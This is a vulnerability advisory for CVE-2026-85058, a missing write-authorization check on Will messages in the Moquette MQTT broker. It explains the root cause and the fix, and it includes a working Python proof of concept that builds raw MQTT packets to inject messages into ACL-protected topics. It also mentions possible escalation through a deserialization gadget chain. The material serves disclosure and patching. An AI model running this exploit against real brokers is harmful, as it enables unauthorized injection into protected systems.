high · 7.5CVE-2026-85058Sep 18, 2026

CVE-2026-85058: moquette-broker Will Message ACL Authorization Bypass

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

Moquette MQTT Broker skips write-permission checks when publishing Last Will and Testament messages, letting any anonymous client inject messages into ACL-protected topics by setting a restricted…

Packageio.moquette:moquette-broker
Ecosystemmaven
Affected< 0.18.1
Fixed in0.18.1

The problem

All normal PUBLISH paths in PostOffice.java call authorizator.canWrite() before routing a message. The Will message path, fireWill() to publishWill() to publish2Subscribers(), contains no such check.

An unauthenticated attacker (allow_anonymous defaults to true) can declare any ACL-restricted topic as their Will Topic in the CONNECT packet, then terminate the TCP session abruptly. The broker fires the Will message and delivers it to subscribers with no authorization check at all.

Proof of concept

A working proof-of-concept for CVE-2026-85058 in io.moquette:moquette-broker, with the exact payload below.

python
import socket, struct, time

BROKER = ('127.0.0.1', 1883)
WILL_TOPIC = b'restricted/topic'
WILL_MSG   = b'injected_by_will_bypass'

def build_connect(client_id, will_topic, will_msg):
    # Variable header: protocol name + level + connect flags + keepalive
    proto   = b'\x00\x04MQTT'          # MQTT 3.1.1
    level   = b'\x04'
    flags   = b'\x06'                  # CleanSession=1, WillFlag=1, WillQoS=0
    keepalive = b'\x00\x3c'
    var_hdr = proto + level + flags + keepalive

    def enc(b): return struct.pack('!H', len(b)) + b

    payload = enc(client_id) + enc(will_topic) + enc(will_msg)
    pkt = var_hdr + payload

    # Fixed header with remaining length
    return b'\x10' + bytes([len(pkt)]) + pkt

# Step 1: subscriber connects and subscribes
sub = socket.create_connection(BROKER)
sub_connect = b'\x10\x11\x00\x04MQTT\x04\x02\x00\x3c\x00\x05sub01'
sub.sendall(sub_connect)
sub.recv(4)  # CONNACK
subscribe = b'\x82\x16\x00\x01\x00\x10' + WILL_TOPIC + b'\x00'
sub.sendall(subscribe)
sub.recv(5)  # SUBACK
print('[*] Subscriber ready on', WILL_TOPIC.decode())

# Step 2: attacker connects with Will Topic = restricted/topic
attacker = socket.create_connection(BROKER)
pkt = build_connect(b'attacker01', WILL_TOPIC, WILL_MSG)
attacker.sendall(pkt)
attacker.recv(4)  # CONNACK
print('[*] Attacker connected, Will Topic =', WILL_TOPIC.decode())

# Step 3: TCP RST -- broker fires Will without canWrite() check
attacker.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER,
                    struct.pack('ii', 1, 0))  # l_onoff=1, l_linger=0
attacker.close()
print('[*] TCP RST sent -- broker will fire Will message')

# Step 4: check subscriber
time.sleep(1)
sub.settimeout(2.0)
try:
    data = sub.recv(256)
    if WILL_MSG in data:
        print('[!!!] WILL MESSAGE RECEIVED on restricted/topic -- VULNERABILITY CONFIRMED')
except socket.timeout:
    print('[-] No message received')
sub.close()

The root cause is a missing authorizator.canWrite() call in PostOffice.publishWill(). Every other publish entry point (receivedPublishQos0, receivedPublishQos1, receivedPublishQos2) gates on canWrite(), but publishWill() calls publish2Subscribers() directly.

The patch commits (e23df019 and f5a323fe) add the canWrite() guard inside publishWill(), so the Will Topic is checked against the same ACL policy as a regular PUBLISH. CWE-862 (Missing Authorization) applies exactly: the broker performs a security-relevant action on behalf of the client without verifying the client's permission to do so.

A secondary risk noted in the advisory: if a downstream subscriber deserializes MQTT payloads with Java ObjectInputStream, the bypass can deliver a Commons Collections CC6 gadget chain as the Will payload, escalating to remote code execution on the subscriber.

The fix

Upgrade io.moquette:moquette-broker to version 0.18.1. The fix adds authorizator.canWrite() inside publishWill() in PostOffice.java (commits e23df019 and f5a323fe). No configuration workaround is available in 0.18.0; patching is the only remediation.

Reporter not attributed.

References: [1][2][3][4][5]

Related research